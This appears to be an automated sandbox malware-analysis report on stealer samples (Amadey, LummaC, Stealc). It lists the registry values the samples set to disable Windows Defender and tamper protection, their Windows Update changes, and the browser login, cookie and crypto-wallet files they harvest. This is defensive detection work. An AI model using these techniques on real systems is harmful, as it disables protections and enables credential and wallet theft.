Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: 805c374e44.exe, 0000000C.00000003.2176173413.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2316197014.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 3.2.R35D5PNQKQVRTA7D.exe.460000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.460000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1768988516.0000000000461000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.2331265638.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1792693970.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1784499873.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2372440457.0000000000461000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1833170669.00000000004B1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1727331579.0000000005230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1825442095.00000000004B1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1950474134.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000000E.00000003.2210936334.000000000154F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e65c930c15.exe PID: 2832, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 805c374e44.exe PID: 7860, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 31.0.num.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.DC91U752866P4RTKEWI6.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.num.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.num.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.2de90f6e61.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.LDYMRYSK15TF568PLM3O1A8XS.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.2de90f6e61.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2155410034.000000000096E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1830747500.0000000000A0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.2199906400.0000000000F11000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2284540451.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1832002516.0000000000FE1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2374193496.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.2440197352.0000000000F11000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2481601869.00000000001F1000.00000040.00000001.01000000.0000001D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2216291454.0000000000F11000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2347254585.0000000004B90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2156064791.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2485310280.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2114768262.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1742502853.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2377672414.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2214966614.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LDYMRYSK15TF568PLM3O1A8XS.exe PID: 5388, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2de90f6e61.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2de90f6e61.exe PID: 2852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DC91U752866P4RTKEWI6.exe PID: 8088, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1606686861.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000000.00000003.1606686861.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.1557145213.0000000001207000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.1606686861.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.1557145213.0000000001207000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
